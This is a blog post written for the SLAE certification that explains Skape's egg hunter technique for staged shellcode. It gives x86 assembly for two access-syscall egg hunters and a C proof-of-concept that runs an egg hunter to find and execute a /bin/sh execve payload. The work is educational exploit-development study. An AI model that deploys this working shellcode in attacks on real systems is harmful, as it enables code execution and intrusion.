SLAE 3 - Egg Hunter shellcode
Link: https://github.com/ricardojoserf/slae32/tree/master/a3_Egg_Hunter
The guide for this assignment is:
-
Study about the Egg Hunter shellcode
-
Create a working demo of the Egghunter
-
Should be configurable for different payloads
What is an EggHunter?
It is a very efficient exploitation method when we have little space to store our shellcode which can be seen as a Staged Shellcode.
Summing up, the first part of shellcode will be responsible for searching our 4-byte tag or “egg” in memory and the second part will be stored in some position of the memory, composed of the “egg” and the shellcode to execute (which can be the typical shellcode to spawn a shell, to open a reverse shell…).
Knowing this, the first part is the most important and the one which must be researched carefully. There are many “egghunters” on the internet, but in this case we will focus our study in the ones shown in the Skape’s paper from 2004.
These egghunters have the three requirements needed: robustness, small size and they are fast. In all of them the author uses 8-byte “eggs”, which means that the tag is used twice. The technique is based on the system calls, given they can “validate process-relative memory addresses without leading to a segmentation fault or other runtime error in the program itself”, using them to check if the memory is readable and later if the tag has been reached.
EggHunter study
The two egghunters studied use the same syscall: access.
Egghunter 1
From the code in page 8 it is possible to extract the first egghunter, with a size of 39 bytes and an estimated speed in the paper of 8 seconds:
global _start
section .text
_start:
mov ebx, 0x50905090
xor ecx, ecx
mul ecx
jump1:
or dx, 0xfff
jump2:
inc edx; $edx = Size 4096 bytes
pusha
lea ebx, [edx+0x4]
xor eax, eax
mov al, 0x21
int 0x80
cmp al, 0xf2
popa
jz short jump1
cmp dword [edx], ebx
jnz short jump2
cmp dword [edx+4], ebx
jnz short jump2
jmp edx
This code uses a “page size” of 4096 bytes (0x0fff + 0x0001 = 0x1000 or 4096) which is set in EDX register, EBX register contains the address to validate (current address of EDX plus 4) and EAX contains the value needed for the access system call (0x21). After the system call, EAX is compared with 0xf2 (which represents EFAULT), if the comparison is not met the address value is checked agaisnt the “egg” value twice, contained in EBX register (given the registers value is stored before the system call and restored before checking the address against the “egg” using pusha and popa).
Finally, it is tested with the “execve” shellcode as payload:
Egghunter 2
From the code in page 11 it is possible to extract the second egghunter, with a size of 35 bytes (so it is smaller than the previous one) and an estimated speed in the paper of 7,5 seconds (so it is faster):
global _start
section .text
_start:
xor edx, edx
test1:
or dx, 0xfff
test2:
inc edx
lea ebx, [edx+0x4]
push byte 0x21
pop eax
int 0x80
cmp al, 0xf2
jz test1
mov eax, 0x50905090
mov edi, edx
scasd
jnz test2
scasd
jnz test2
jmp edi
In this second shellcode the great difference is the “egg” comparison, because in this case an IA32 native instruction named scasd is used, allowing to use an smaller number of opcodes for the comparison.
Finally, it is tested with the “execve” shellcode as payload:
POC code
This is the code of shellcode.c for this exercise. As it can be seen, the payload can be easily configured:
#include <stdio.h>
#include <string.h>
// TAG or EGG is defined in here
#define egg "\x90\x50\x90\x50"
// unsigned char egghunter[] = EGGHUNTER
unsigned char egghunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
// unsigned char shellcode[] = egg egg PAYLOAD
unsigned char shellcode[] = egg egg "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main() {
printf("Egghunter Length: %d\n", strlen(egghunter));
printf("Egghunter Egg + Shellcode: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())egghunter;
ret();
}
Useful links
-
Paper: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
-
Python PoC con Kolibri: https://medium.com/@rafaveira3/exploit-development-kolibri-v2-0-http-server-egg-hunter-example-1-5e435aa84879
Note
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3
Student ID: SLAE - 1433